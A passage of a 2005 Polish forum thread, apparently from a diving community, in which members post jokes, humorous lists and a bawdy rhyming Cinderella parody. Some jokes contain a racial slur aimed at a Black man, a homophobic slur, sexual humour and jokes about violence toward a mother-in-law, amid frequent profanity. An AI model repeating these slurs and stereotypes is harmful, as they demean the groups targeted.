Pojechaliśmy z żoną do hotelu, w którym spędziliśmy naszą noc poślubną. Tylko, że tym razem ja zostałem w łazience i płakałem.



Dostaliśmy z żoną pokój z łóżkiem wodnym w hotelu. Żona nazwała je Morzem Martwym.


Żona zrobiła sobie maseczkę błotną i wyglądała świetnie przez dwa dni.
Potem błoto odpadło...


Ostatnio podróżując po kraju, postanowiłem zrzucić 60 kilo tłuszczu.
Zostawiłem żonę na CPN-ie...

:-D :-D :-D

nuras5 - 20-01-2005, 13:26

Sorry Nishi :oops: , wiem, że Ty jesteś :litte: , to Nevada jest samobójcą :maniac: - nie doczytałem z pośpiechu.
maczaty - 21-01-2005, 12:52

No właśnie, Nevada już po obdukcji? ;)
nevada - 21-01-2005, 23:15

żadnej obdukcji, a nawet obstrukcji. Na wycieraczce też nie spałem. Żona za to obiecała że okularów mi na pewno nie kupi :22:
orzech - 21-01-2005, 23:39

Dwóch gości popija sobie winko pod sklepem. Podjeżdża elegancki samochód z którego wysiada jakieś zamożne małżeństwo. Kupują w sklepie niegazowaną wodę, wsiedli do auta i piją.
- Popatrz - mówi jeden z pijaczków - Piją wodę!
- No - mówi drugi - Jak zwierzęta...

wojtech - 22-01-2005, 00:10

Niektóre kobiety lubią mówić do swojego chłopa "Ty kocie..."
A czym się to może skończyć? Nie wiecie, więc posłuchajcie:
"Pewnego razu była sobie bardzo dobra i skromna dziewczyna. Niestety,
życie swe pędziła w smutku i samotności. Pewnego razu na plaży znalała lampę.
Dalej wg. klasycznego schematu: lampa jest czarodziejska, dziewczyna
wypuszcza czarodzieja na wolność, ten obiecuje spełnienie 3ch życzeń.
Hmmmm, myśli dziewczyna, jako pierwsze życzenie chciałabym stać się
piękna i atrakcyjna.
No problem, na to czarownik, machnął różdżką i oto z naszego
Kopciuszka robi sie panna śliczna i urocza nad wyraz.
Jako drugie życzenie chciałabym, aby całej mojej kochanej rodzinie
poprawił się byt finansowy.
I, rzecz jasna, czarownik znowu machnął różdżką i nagle stali się
bardzo bogaci.
- A jakie jest Twoje trzecie życzenie?
- Hmm, rzecze dziewczyna, może to: mam swojego ukochanego, starego
kocura, który jest ze mną od lat. Jego dni są już policzone i
swiadomość, że mnie opuści jest straszna. Czy mógłbyś zmienić mojego starego kocura
w młodego i pięknego księcia? Wtedy zakochalibyśmy się w sobie i już
nie byłabym samotna.
No problem, rzecze czarodziej, i to Twoje życzenie spełnie chętnie.
Wraca dziewczyna do domu i rzeczywiscie, na progu wita ją młodzian
piękny i miły jak w bajce. Oczywiście, ich serca zapałały do siebie
miłością od pierwszego wejrzenia.
Znajomość rozpoczeli od romantycznej kolacji przy swiecach i
delikatnej muzyce. Ksiaze poprosil nasza dziewczyne do tanca.
Kiedy tak powoli kolysali sie w takt muzyki, drzacy z emocji i czule
do siebie przytuleni, szepnal jej cicho do ucha:
- Pewnie teraz troche zalujesz, ze dalas mnie kiedys wykastrowac?"

kraknur - 25-01-2005, 15:30

> LIST DO NIEDOSZLEGO ZIECIA -
> ; Drogi Andrzeju!
>
> Odkad zmusilem swoja corke, aby zerwala Wasze zareczyny, nie
> przespalem spokojnie ani jednej nocy. Czy zdolasz mi wybaczyc i
> zapomniec o tym? Zdecydowanie za bardzo czepialem sie o Twojego
> irokeza, o tatuaze i o kolczyk w nosie.
>
> Zdalem tez sobie sprawe, ze motocykle wcale nie sa az
> tak niebezpieczne, a moja reakcja na wiadomosc, ze nigdy dotad nie
> pracowales, byla znacznie przesadzona. Jestem tez przekonany, ze
> mnostwo innych milych i sympatycznych ludzi mieszka pod mostem.
>
> Jak Ci wiadomo, moja corka ma siedemnascie lat i chce wyjsc za
> Ciebie zamiast skorzystac ze stypendium, ktore proponuje jej Harvard.
>
> Ale przeciez nie cala wiedze o zyciu czerpiemy z ksiazek!
>
> Czasem zapominam, jak bardzo jestem staroswiecki.
>
> Pomylilem sie. Postapilem bardzo glupio. Ale wrocil mi zdrowy
> rozsadek i w pelni blogoslawie Twoj zwiazek z moja corka.
>
>
>
> Serdecznie pozdrawiam, Twoj przyszly tesc.
>
>
>
> P.S. Gratuluje szostki w Lotto.

Marek Macner - 26-01-2005, 23:20

:roll: upss
Mania - 27-01-2005, 11:15

To ja tak znowu delikatnie i po cichu tylko gwoli przypomnienia - Panowie (i Panie) to frum czytaja tez nieletni, a niektorzy z nas czytaja majac swoje dziecko na kolanach. Zanim cos tu wlozycie pomyslce czy chcielibyscie by przeczytala to Wasza na przyklad 7 letnia corka????
Mania

Maniu- wprawdzie nie chciałem cenzurować dowcipów, ale to nie był dowcip -jedynie niesmaczne "prawdy" - stąd usunąłem post Simara.
Wojtek

Sandii - 27-01-2005, 15:04

edukacja?
szybka ankieta, nieletni ujawnijcie się!
....
no dobra żartowałem ;)
(tak nawiasem mówiąc czytam ten wątek tylko wtedy gdy widzę ksywke Mani wśród autorów postów ;) )
Sandii

Mania - 27-01-2005, 16:56

Sandii
Jak ten przeczytasz to sie zdziwisz :P

ELEMENTARZ BLUESMANA

1. Większość utworów bluesowych zaczyna się od słów: "Woke up this morning..." (Obudziłem się dziś rano...)


2. "Poznałem fajną dziewczynę" - to zły początek dla kawałka bluesowego, chyba, że wetkniesz coś paskudnego w następnej linijce, np: "Poznałem fajną dziewczynę, z najbrzydszą twarzą w mieście".


3. Blues jest prosty. Gdy masz już pierwszy wers najlepiej go powtórz. Wtedy piosenka sama się zrymuje i otrzymasz coś w tym stylu:
"Poznałem fajną dziewczynę, z najbrzydszą twarzą w mieście.
O, tak, poznałem fajną dziewczynę, z najbrzydszą twarzą w mieście.
Miała zęby jak królica, kilogramów chyba ze 200".


4. Blues nie jest o wyborze. Utknąłeś w rowie to utknąłeś w rowie - i nie ma drogi wyjścia.


5. Samochody bluesmenów: Chevy, Ford, Cadillac i uszkodzone ciężarówki. Bluesmeni nie podróżują Volvo, BMW czy sportowymi samochodami. Najczęściej bluesman podróżuje autobusami albo pociągami jadącymi na południe. Bluesman NIGDY nie podróżuje pociągiem jadącym na północ. Odrzutowce czy łodzie motorowe nawet nie wchodzą w rachubę. Wędrówka stanowi ważną część bluesowego stylu życia. Jak również wstawki o śmierci.


6. Nastolatki nie mogą śpiewać bluesa. Nie pasują wtedy wstawki o śmierci, są za młodzi by umrzeć. Dorośli śpiewają bluesa. W bluesie, "dorosłość" znaczy być wystarczająco starym, by dostać krzesło elektryczne, jeśli zastrzelisz człowieka w Memphis.


7. Bluesa można śpiewać w Nowym Jorku.
Hawaje czy jakiekolwiek miejsce w Kanadzie odpadają.
Chicago, St. Louis i Kansas City to nadal najlepsze miejsca na bluesa. Nie możesz śpiewać bluesa tam, gdzie nie pada.


8. Facet w średnim wieku z łysiną czy zakolami nie może być bluesmanem - kobieta z łysiną może.
To, że złamałeś nogę podczas jazdy na nartach nie nadaje się na temat piosenki bluesowej. Złamanie nogi na skutek ataku aligatora pasuje jak najbardziej.


9. Bluesa nie zaśpiewasz w biurze albo w centrum handlowym. Oświetlenie jest niewłaściwe. Wyjdź na zewnątrz i usiądź na parkingu albo przy wysypisku śmieci.


10. Kojarzą się z bluesem:
a. autostrada
b. więzienie
c. puste łóżko
d. dno butelki whisky

Nic wspólnego z bluesem nie mają:
a. Christian Dior
b. otwarcie galerii
c. szkolna liga baseballa
d. pole golfowe


11. Nikt nie uwierzy, że jesteś bluesmanem jeśli nosisz garnitur, no chyba że jest dość stary i spałeś w nim przez ostatnich 6 miesięcy.


12. Czy możesz śpiewać bluesa?
Tak, jeśli:
a. jesteś starszy niż twój brud
b. jesteś ślepy
c. zastrzeliłeś człowieka w Memphis
d. żyjesz z dnia na dzień

Nie, jeśli:
a. masz wszystkie zęby
b. byłeś ślepy ale teraz już widzisz
c. człowiek z Memphis przeżył
d. wykupiłeś fundusz powierniczy


13. Blues nie jest kwestią koloru skóry. To sprawa pecha.
Brzydcy biali ludzie doskonale odnaleźli się w bluesie.


14. Jesteś spragniony i prosisz o wodę - to jest blues.
Inne akceptowane napoje: tanie wino, whisky albo burbon, mętna woda i paskudna czarna kawa.


Absolutnie nie pasują:
a. Perrier
b. Chardonnay
c. Snapple
d. Slim Fast


15. Gdy śmierć zdarza się w tanim motelu albo od strzału z dubeltówki, to jest to smierć bluesowa. Odpowiedni jest też cios nożem w plecy od zazdrosnego kochanka, śmierć na krześle elektrycznym, zapicie się na śmierć. Natomiast gdy umrzesz podczas meczu albo w czasie odsysania tkanki tłuszczowej, to nie jest śmierć bluesowa.


16. Bluesowe pseudonimy dla kobiet:
a. Sadie
b. Big Mama
c. Bessie
d. Fat River Dumpling


17. Bluesowe pseudonimy dla mężczyzn:
a. Joe
b. Willie
c. Little Willie
d. Big Willie
e. Whiskey River Rod


18. Osoby o imionach: Michelle, Amber, Debbie i Heather nie mogą śpiewać bluesa, bez względu na to, jak wielu ludzi zastrzeliły w Memphis.


19. Poradnik, jak utworzyć fajny bluesowy pseudonim:

a. nazwa fizycznej słabości (Blind, Cripple, Lame, itp.)
b. plus nazwa owoca (Lemon, Lime, Kiwi, etc.)
c. plus nazwisko prezydenta (Jefferson, Johnson, Fillmore, itp.)

Na przykład : Blind Lime Jefferson, Pegleg Lemon Johnson czy Cripple Kiwi Fillmore, etc. (no, może Kiwi niespecjalnie pasuje...)


20. Nieważne, jak bardzo tragiczne było twoje życie: jeśli posiadasz przynajmniej jeden komputer, nie możesz śpiewać bluesa.

gommez - 28-01-2005, 09:52

Przyszedł facet do spowiedzi i mówi:
- Wybacz mi Ojcze, bo zgrzeszyłem... strasznie przeklinałem, i to w niedzielę.
- No cóż... odmów trzy razy "Zdrowaś Mario" i staraj się uważać na swój język.
- Ale ojcze chciałbym wytłumaczyć okoliczności - otóż w niedzielę
zamiast do Kościoła wybrałem się z przyjaciółmi na partyjkę golfa. Już
na pierwszym dołku nie wyszło mi uderzenie i posłałem piłeczkę między drzewa...
- I to Cię tak zdenerwowało, że zakląłeś ?
- Nie, ponieważ okazało się, że piłeczka szczęśliwie upadła w miejsce,
z którego można było oddać czysty strzał w kierunku dołka. Ale jak
podchodziłem do miejsca, w którym leżała piłeczka, nagle przybiegła
wiewiórka, porwała mi ją i uciekła na drzewo...
- I wtedy właśnie zakląłeś?
- Nie, ponieważ zaraz potem wiewiórkę chwycił orzeł i odleciał...
- I to Cię tak zdenerwowało, że zacząłeś kląć?
- Otóż nie, bo wiewiórka wypuściła piłeczkę, a ta spadła jakieś 10 cm od dołka...
- No ku*wa nie mów że to spie*doliłeś?!

Sandii - 28-01-2005, 10:23

Cytat:
Sandii
Jak ten przeczytasz to sie zdziwisz :P

ELEMENTARZ BLUESMANA


"Siedzę obok pełen wstydu, krótki to był zryw ..."
to jest fajny blues (jak ktoś nie kojarzy to "Cegła" ;) )

Sandii
ps dobre

ps1

Na lawce w parku siedzi dres i zajada cukierek za cukierkiem.
Siedzacy po przeciwnej stronie alejki starszy jegomosc mówi :
- Mlodziencze, wiesz, ze jak bedziesz jadl tyle slodyczy to bardzo szybko powypadaja ci zeby.
Dres popatrzyl na goscia i odpowiedzial :
- Mój dziadek dozyl 105 lat i mial wszystkie zeby.
- Tak? A tez jadl tyle cukierków?
- Nie, on sie po prostu nie wpierdalal w cudze sprawy

ewick - 28-01-2005, 10:59

ja w kwestii

Cytat:
17. Bluesowe pseudonimy dla mężczyzn:


na 100% Bloody Harry podchodzi, chociaż nie śpiewał Blusa ;)

modyfikacją może być Bloody Harry Potter, ten na pewno nie miał komputera ;)

a idąc za ciosem:
Cytat:
Bluesowe pseudonimy dla kobiet


Bloody Mary - można się upic na smutno ;) , chociaż kolor może nie jest blue(sowy) ;)

Calamity Jane - czyli Jaśka nieszczęście ;) ona sporo piła i sporo zabiła, tylko niewiem czy w Memphis ;)

TECHNISUB - 28-01-2005, 14:01

Na łące pasie się wielki byk. Odgania ogonem muchy i szczypie zieloną trawkę.
W pewnym momencie zauważa kątem oka wychodzącego zza pagórka białego królika,
który coś krzyczy.
Byk wraca do jedzenia a zbliżający się królik wrzeszczy :
- Z drogi bo idzie królik król zwierząt.
Byk dalej zajada trawę i macha ogonem.
Królik stanął za nim i mówi :
- Jak zaraz nie odejdziesz to gorzko tego pożałujesz. Liczę do trzech ; razzzzz......, dwaaaaaa..................
W tej chwili byk ( tak jak to byki robią często ), walnął wiekiego placka
i to tak, że trafił prosto w królika, po czym wrócił do jedzenia.
Po kilku minutach z kupy "wynurza" się brązowy królik i pyta :
- Co, zesrałeś się ze strachu cwaniaczku ?

Te_Pe - 28-01-2005, 20:04
Temat postu: dowcipy, nie nurkowe
Zmarła teściowa.

Na ceremonii pogrzebowej zięć klęczy i tuli się do policzka teściowej...
Żałobnicy znając napięte relacje zięcia z teściowa podchodza i pytają...

- Widzę że pogodziłeś się z teściową przed jej odejściem...

- Nie, nie oto chodzi... jak się dowiedziałem wczoraj,
że umarła, to piłem ze szczęścia z kumplami całą noc,
a teraz mnie tak głowa napierdala, a ONA taka zimniutka...

gommez - 01-02-2005, 10:16

Słownik współczesnego języka polskiego dla biznesmenów ze świata

NA ŚWIECIE: Szanowny kolego, długo nie widzieliśmy się!
U NAS: Kopę lat, k***a mać!

NA ŚWIECIE: Pan to jest bardzo wykształcony.
U NAS: Co za pedał.

NA ŚWIECIE: Nie zauważył pan wszystkich aspektów umowy
U NAS: Pieprzony ślepiec.

NA ŚWIECIE: Pan raczy żartować.
U NAS: Powaliło cię?

NA ŚWIECIE: Dane które posiadacie nie odpowiadają faktom.
U NAS: Nie pieprz!

NA ŚWIECIE: Pana sekretarka jest bardzo sympatyczna.
U NAS: Posuwasz ją?

NA ŚWIECIE: Smacznego.
U NAS: Udław się!

NA ŚWIECIE: Jaką funkcję pełni ten pan w firmie?
U NAS: Co to za fiut?

NA ŚWIECIE: Chwilowo nie jesteśmy zainteresowani reklamą.
U NAS: Po co mi reklama?!

NA ŚWIECIE: Wydaje mi się, że z jego zdaniem nie musimy się liczyć.
U NAS: Pieprzyć go.

NA ŚWIECIE: Ten projekt jest łatwy do zrealizowania.
U NAS: Z palcem w d*pie.

NA ŚWIECIE: To niemożliwe.
U NAS: Takiego wała.

NA ŚWIECIE: Chwilowo nasza firma nie prosperuje najlepiej.
U NAS: Jestesmy w gównie.

NA ŚWIECIE: Pan jest bardzo ostrożnym rozmówca.
U NAS: Dyplomata j***ny.

NA ŚWIECIE: Dlaczego nie zgadzacie się na dalszą współpracę?
U NAS: Pogięło was?

NA ŚWIECIE: Rozwój sytuacji na rynku nie idzie w pomyślnym kierunku.
U NAS: Jest do d**y.

NA ŚWIECIE: To wpływowi panowie.
U NAS: Same kutasy.

NA ŚWIECIE: Ten pan nie ma znaczacych kontaktów.
U NAS: Moze mi zrobić laskę.

NA ŚWIECIE: Dziękuję!
U NAS: (Wyraz nie istnieje)

Efraim Ryba - 02-02-2005, 09:59

Złodzieje ograbili mieszkanie nowobogackich
Policjant rozmawia z panem domu:
- Czy zorientowaliście się, co zginęło?
- Tak - telewizor, wideo, wieża i futro żony.
- A gdzie wtedy byliście?
- W kuchni.
- Jak to w kuchni? I nic nie słyszeliście?!
- Jedliśmy zupę .

Piotr - Malediwy - 03-02-2005, 16:40

KOŃ
Do firmy zajmującej się usuwaniem padłych zwierząt z ulic miasta dzwoni
telefon: - Dzzdzzieńń dddobry jajaja chchcciałem popowiedzieć, że leleży
papapadly kkkoń. - Oczywiście, przyjedziemy i zabierzemy, tylko niech
pan
powie na jakiej ulicy. - Na po...pooo...po..poooo - Może na Poznańskiej?
-
Nnnie, na poo.po..poo
- Może na Podgórnej? - Nnnie, nnnie... - To jak Pan się zastanowi,
proszę
zadzwonić. Facet dzwoni po chwili. - Dzie dzie dzień... - No witam,
witam,
co z tym koniem, na jakiej ulicy? - Na poooo...po...po
- No jaka, może Poznańska? - Nnnie, nnnie, pooo...po...po - Może jednak
Poznańska? - Nnnnie... - Proszę sie zastanowić i zadzwonić później,
dobrze? Facet dzwoni po godzinie. - Ddzi... - No witam, witam, jak tam
konik, na jakiej ulicy leży? - Na pppo..poooo.. - Poznańskiej? - Ttttak!
-
No widzi Pan, mówiłem że na Poznańskiej! - Bo gggo kk......wa
pppprzeniosssłem...

tsharny - 07-02-2005, 14:29

Politechnika. Egzamin z fizyki. Profesor, który wstał lewą nogą zaczyna pytać pierwszego delikwenta.
- Jedzie pan autobusem i jest straszliwie gorąco. Co pan zrobi ?
- Otworzę okno.
- Bardzo dobrze - mówi profesor - A teraz proszę wyliczyć jakie zmiany w aerodynamice autobusu zajdą po otwarciu okna ?
- ???????????????
- Dziękuję panu. Dwója.Następny proszę.
Wchodzi drugi student. Dostaje to samo pytanie, ten sam stopień i wychodzi.
Po godzinie wynik meczu profesor vs studenci brzmi 9 : 0. Jako 10 wchodzi śliczna studentka. Profesor pyta :
- Jedzie pani autobusem i jest straszliwie gorąco. Co pani robi ?
- Zdejmuję bluzkę. - odpowiada studentka
- Pani mnie nie zrozumiała. Jest naprawdę bardzo gorąco.
- To jeszcze zdejmuję spódnicę.
- Ale żar jest nie do zniesienia - dalej utrudnia profesor.
- To zdejmuję stanik.
Profesor aż oniemiał z wrażenia a studentka mówi :
- Panie profesorze mogę jeszcze zdjąć majtki ale nawet jakby mnie mieli wyruchać wszyscy faceci w autobusie to okna nie otworzę.


pozdrawiam
tsharny

[ Dodano: 08-02-2005, 09:45 ]
Do zatłoczonej pijalni piwa wchodzi mężczyzna i widząc, że przy stoliku siedzi tylko jeden gość, zwraca się do niego:
- Czy to miejsce jest wolne?
Siedzący schyla się pod stolik i pyta:
- Janek, będziesz jeszcze siedział?

Beeker - 08-02-2005, 11:53

Trochę nurkowe
_______________________________________________________________

Pływa sobie żółw w morzu. Relaksacyjnie macha łapkami.
Wkoło niego pływa rekin i uważnie przygląda się żółwiowi. Żółw pływa jakby nigdy nic. Nagle rekin nie wytrzymał podplynął i odgryzł żółwiowi tylną nogę.
Żółw spojrzal na rekina z wyrzutem i mówi:
- No bardzo, ku*wa, śmieszne!

:lol: :lol: :lol: :lol: :lol: :lol: :lol: :lol: :lol:

tsharny - 09-02-2005, 11:11

Rozmawiają dwaj koledzy:
- wczoraj byłem w łóżku z Miriam
- no i co?
- no i ch..

pozdrawiam
tsharny

gommez - 10-02-2005, 08:58

Pewna rozwódka dosyć puszysta
Nie miała męża, rzecz oczywista

Lecz miała za to dwie głupie córki
Co malowały ciągle pazurki

Nie myły garów, nie słały łóżka
Wiec wynajęły sobie Kopciuszka

Była to całkiem-całkiem dzieweczka
Figurka owszem, biuścik czwóreczka

Kopciuszek często przycinał oko
Bo krzywą cukru miał dość wysoką

Wtedy Kopciuszka niewiasty wredne
Kopały celnie w nocy i we dnie

Raz w swojej willi wydawał party
Sam król sedesów - Cichopuk Czwarty

Bo Sedesowicz, syn Cichopuka
Od lat dziewicy na żonę szukał

A był to łysy przystojny młodzian
W czarne gustowne dresy przyodzian

- Słuchaj, Kopciuszku - rzekły babsztyle -
Masz nam usmażyć z powietrza filet

I trzy puszyste rozchichotane
Wyszły na party w tiule ubrane

Sen chwilę potem zmorzył Kopciuszka
We śnie zjawiła się Dobra Wróżka

Masz tu, Kopciuszku, niecałą stówkę
Jedź na przyjęcie i weź taksówkę

Nie dam ci więcej, bo nie mam kasy
Takie na wróżki przyszły dziś czasy

Wróć przed taryfą nocną, idiotko,
Później drałować będziesz piechotką

Tam na przyjęciu młody Cichopuk,
Wyznał jej miłość, w takim był szoku

Tutaj się wytnie sceny z prywatki
Ze względu na was, kochane dziatki

Ale do rzeczy. Wróćmy do chwili
Kiedy Kopciuszek wybiega z willi

Wersja dla dzieci o tym nie mówi
Co tak naprawdę Kopciuszek zgubił.

Zgubił on bowiem biegnąc z imprezki
Czerwone stringi, w dodatku "eski"

Papa Cichopuk wysłał nazajutrz
Emisariuszy po całym kraju

Żeby znaleźli jedną z dzieweczek
Która pasuje do tych majteczek

Tysiące panien doznało stresu
Przy naciąganiu ciasnego desu

Założyć stringów nie dały rady
Bo wszystkie miały za tęgie wkłady

Ale zdębieli emisariusze
Kiedy założył stringi Kopciuszek

Potem odbyło się weselisko
Gdzie wielu gości upadło nisko

Były prezenty i czek od papy
I noc poślubna - całkiem od czapy

Bo choć pan młody był nie wyżyty
Śpiacy Kopciuszek spał jak zabity

Teraz, dziewczęta, nadeszła pora
Na cos mądrego, czyli na morał

Niech was nie zwiedzie przykład Kopciuszka
Kiedy wskoczycie komuś do łóżka

Bo nie wystarczy gdzieś majtki zgubić
By księcia z bajki zaraz poślubić.

Przemek - 10-02-2005, 09:11

:20: :20:
lol !!!! super:D:D:D:D

Garnett - 10-02-2005, 16:04

80-latek chce sie kochac z zona.
- Ale tylko z prezerwatywa, zaznacza zona.
- Przeciez w twoim wieku nie grozi Ci ciaza, przekonuje maz.
- Ale salmonella od starych jaj .

nevada - 10-02-2005, 23:29

a to coś dla przypomnienia szkolnego stresu w desu i bez desu :)
http://granda.room-303.com/

Garnett - 11-02-2005, 14:06

Nie wolno wstrzymywać gazów!

Niewypuszczone unoszą się do mózgu!

... i stąd właśnie biorą się posrane pomysły... !!!

Pitt_M - 11-02-2005, 21:01

Uszczęśliwienie kobiety nie jest trudne...

Należy tylko być:


1. przyjacielem
2. partnerem

3. kochankiem
4. bratem
5. ojcem
6. nauczycielem
7. wychowawcą
8. spowiednikiem
9. powiernikiem

10. kucharzem
11. mechanikiem
12. monterem
13. elektrykiem
14. szoferem
15. tragarzem
16. sprzątaczką
17. stewardem
18. hydraulikiem
19. stolarzem
20. modelem
21. architektem wnętrz
22. seksuologiem
23. psychologiem
24. psychiatrą
25. psychoterapeutą.



Ważne też są cechy osobowości.

Należy być :


1. sympatycznym
2. wysportowanym ale
3. inteligentnym ale
4. silnym
5. kulturalnym ale
6. twardym ale
7. łagodnym
8. czułym ale
9. zdecydowanym ale
10. romantycznym ale
11. męskim
12. dowcipnym i
13. wesołym ale
14. poważnym i
15. dystyngowanym
16. odważnym ale
17. misiem ale
18. energicznym
19. zapobiegawczym
20. kreatywnym
21. pomysłowym
22. zdolnym ale
23. skromnym i
24. wyrozumiałym
25. eleganckim ale
26. stanowczym
27. ciepłym ale
28. zimnym ale
29. namiętnym
30. tolerancyjnym ale
31. zasadniczym i
32. honorowym i
33. szlachetnym ale
34. praktycznym i
35. pragmatycznym
36. praworządnym ale
37. gotowym zrobić dla niej wszystko [ np. skok na bank ]
czyli
38. zdesperowanym [ z miłości ] ale
39. opanowanym
40. szarmanckim ale
41. stałym i
42. wiernym
43. uważnym ale
44. rozmarzonym ale
45. ambitnym
46. godnym zaufania i
47. szacunku
48. gotowym do poświęceń i, przede wszystkim,
49. wypłacalnym.



Jednocześnie musi mężczyzna uważać na to, aby:


a) nie był zazdrosny, a jednak zainteresowany
b) dobrze rozumiał się ze swoją rodziną, nie poświęcał jej jednak więcej czasu niż danej kobiecie
c) pozostawił kobiecie swobodę, ale okazywał troskę i zainteresowanie gdzie była i co robiła
d) ubierał się w garnitur, ale był gotów przenosić ją na rękach przez błoto po kolana i wchodzić do domu przez balkon, gdy ona zapomni kluczy lub gonić, dogonić i pobić złodzieja, który wyrwał jej torebkę, w której przecież miała tak niezbędne do życia lusterko i szminkę.



Ważne jest aby nie zapominać jej:


1. urodzin
2. imienin
3. daty ślubu
4. daty pierwszego pocałunku
5. okresu
6. wizyty u stomatologa
7. rocznic
8. urodzin jej najlepszej przyjaciółki i ulubionej cioci.





Niestety, nawet najbardziej doskonałe wykonanie powyższych zaleceń nie
gwarantuje pełnego sukcesu. Kobieta mogłaby się bowiem czuć zmęczona
obecnością w jej życiu idealnego mężczyzny oraz poczuć się zdominowaną
przez niego i uciec z pierwszym lepszym menelem z gitarą, którego napotka.


A teraz druga strona medalu...



Uszczęśliwić mężczyznę jest zadaniem daleko trudniejszym.

Ponieważ mężczyzna potrzebuje :


1. seksu

2. jedzenia


Większość kobiet jest oczywiście tak wygórowanymi męskimi potrzebami mocno
przeciążona. Zaspokojenie tych potrzeb przerasta siły naszych pań.



Wniosek :
Harmonijne współżycie można łatwo osiągnąć, pod warunkiem, że mężczyźni wreszcie zrozumieją, iż muszą nieco ograniczyć swoje zapędy i pohamować swoją roszczeniową postawę.

Tomek Radomski - 11-02-2005, 23:52

Przepraszam to może bliżej na Marsa czy inny Księżyc :-D
ewick - 12-02-2005, 15:39

Boszzz, toż mój Nevada jest prawie idealny :hearts:

gdybyż jeszcze tylko nie pragnął seksu :sex: i jedzenia :swi: , no bo w sumie lubię jak jest zazdrosny ;)
i żeby wyrzucił swoje nowe okulary, to bym nie musiała teraz dbać o siebie :laska:

Pitt_M - 12-02-2005, 16:45



Pozdrawiam

PS - Sorry - nie podałem źródła : http://www.funiaste.net

Te_Pe - 13-02-2005, 13:07
Temat postu: o nas....
by www.funiaste.net

Beeker - 14-02-2005, 00:08

Jednak nurkowe ...
http://www.funiaste.net/2...luty/11/148.jpg

tsharny - 14-02-2005, 10:28

Czasy starozytnego Rzymu. Bogaty lud rzymski znudzony jest wszystkim, co do
tej pory juz widzial.. Cezar postanawia urzadzic walke z dzikim zwierzeciem,
walke., jakiej do tej pory jeszcze nie bylo.. Wybral wiec sobie Cezar
wielkiego lwa, lwa, jakiego swiat nie widzial.. Zwierze bylo glodzone
dlugie tygodnie. Nadchodzi dzien.. pojedynku.. Lew jest tak glodny i chudy,
ze zaczyna sie oblizywac na wszystko., co sie rusza.. Cezar do walki z owym
lwem wybiera ogromnego silnego Numidia. (Murzyna), umiesnionego i
wielkiego.. Ale tez mysli: "Taki duzy Murzyn, a lew taki chudy; zakopie.
Murzyna w ziemi po pas. zeby wyrównac szanse" Po chwili jednak Cezar mysli
dalej: "Murzyn ma takie umiesnione. rece, to moze sie i odkopac i zabic lwa;
lepiej bedzie jak bedzie on zakopany w ziemi po sama glowe" Jak pomyslal,
tak tez zrobil..... Arena, mnóstwo ludu rzymskiego na trybunach, Murzyn
zakopany do samej szyi, puszczaja lwa... Ten biegnie jak oszalaly, slinka mu
cieknie na widok glowy Murzyna, juz ma go dopasc i zlapac w zelazny uscisk
swoich szczek, gdy Murzyn robi glowa unik, lew go mija, uderza z calym
impetem o bande i zdycha. Na to lud rzymski: "Walcz uczciwie, czarnuchu !"

pozdrawiam
tsharny

Pitt_M - 14-02-2005, 10:47

A propo's DIR



Pozdrawiam

Efraim Ryba - 14-02-2005, 10:49

Stirlitz, wychodząc z baru, poczuł silne uderzenie w potylicę. Szybko odwrócił się - to był asfalt...

-----
Stirlitz gnał swoim 600-konnym Mercedesem do Berlina. Obok niego pędzili ss-mani na motocyklach. - Paparazzi - pomyślał Stirlitz.

-----
Stirlitz wszedł do gabinetu i ujrzał Mullera leżącego na podłodze i nie dającego oznak życia. - Otruty - pomyślał Stirlitz przyglądając się rączce siekiery wystającej z piersi.

nevada - 14-02-2005, 11:59

http://www.dwd.hu/
Artur Kornacki - 14-02-2005, 22:38

Syn pyta ojca:
- Tato, co to jest POLITYKA?
Ojciec odpowiada:
- Zobacz, ja przynoszę pieniądze do domu, więc jestem KAPITALISTĄ, Twoja mama rządzi tymi pieniędzmi, więc jest RZĄDEM, dziadek uważa, żeby wszystko było na swoim miejscu, więc jest ZWIĄZKIEM ZAWODOWYM, nasz pokojówka jest KLASĄ ROBOTNICZĄ, a wszyscy mamy jeden cel, aby się Tobie lepiej wiodło! Ty jesteś LUDEM, a Twój młodszy brat, który leży jeszcze w pieluchach jest PRZYSZŁOŚCIĄ! Zrozumiałeś synku?

Chłopiec zastanawia się i mówi, że musi się z tym wszystkim jeszcze przespać. W nocy budzi chłopca płacz młodszego brata, który narobił w pieluchy i drze się wniebogłosy. A, że chłopiec nie wiedział co ma zrobić, poszedł do pokoju rodziców. W pokoju była tylko mama, ale spała tak mocno, że nie mógł jej dobudzić, więc poszedł do pokoju pokojówki, gdzie akurat zabawiał się z nią ojciec, a dziadek podglądał ich przez okno. Wszyscy byli tak sobą zajęci, że nie zauważyli, że chłopiec jest w pokoju. Malec postanowił więc, że pójdzie spać i o wszystkim zapomni. Rano ojciec pyta go:

- Synku, możesz mi powiedzieć własnymi słowami co to jest POLITYKA
- TAK! - odpowiada syn. - KAPITALIZM wykorzystuje KLASĘ ROBOTNICZĄ, ZWIĄZKI ZAWODOWE się temu przyglądają, podczas gdy RZĄD śpi, LUD jest całkowicie ignorowany, a PRZYSZŁOŚĆ leży w gównie! TO JEST POLITYKA!

Idzie facet chodnikiem, nagle patrzy a tu na 10 piętrze wisi starsza pani na parapecie, a jakis facet nap****ala w nia baseball"em.
-Panie co pan robi tej biednej kobiecie?
a z góry:
-Panie to moja teściowa!
-No patrz pan jak sie ta cholera mocno trzyma!

Na pogrzebie teściowej kolega pyta się zięcia zmarłej:
-Naco umarła twoja teściowa?
-Zatruła się grzybami.
-A dlaczego ma zęby wybite?
-Bo żreć nie chciała jędza!

Andropow, jeszcze jako szef KGB, zwierzał się najbliższym:
- Kiedy zostanę gensekiem, zmienię te idiotyczne strefy czasowe. Ileż to kłopotów!
Dzwonię do Pekinu z gratulacjami z okazji wyboru Deng Xiaopinga, a tam mówią:
"To było wczoraj!". Dzwonię do Watykanu z kondolencjami po zamachu na papieża, a tam pytają: "Jaki zamach?!"

Był sobie Polak, Rusek i Niemiec.
Rusek mówi, że ma nową krowę. Niemiec, że ma nowy zegarek, a Polak mówi, że go na nic nie stać.
Następnego dnia przychodzi Rusek mówi, że ukradli mu krowę.
Przychodzi Niemiec i mówi że ukradli mu zegarek.
Przychodzi Polak i mówi-"k**wa już 2.15 czas napoić krowę

Sala operacyjna, pacjent leży na leżance, podchodzi anastezjolog.
- Dzień dobry, dzisiaj ma pan operację, będę pana usypial, ale mam jedno pytanie. Czy leczy pan w naszym szpitalu prywatnie, czy na kasę chorych?
Pacjent na to:
- Na kasę chorych.
- No to aaa... kotki dwa....

Doktor mówi do pacjenta:
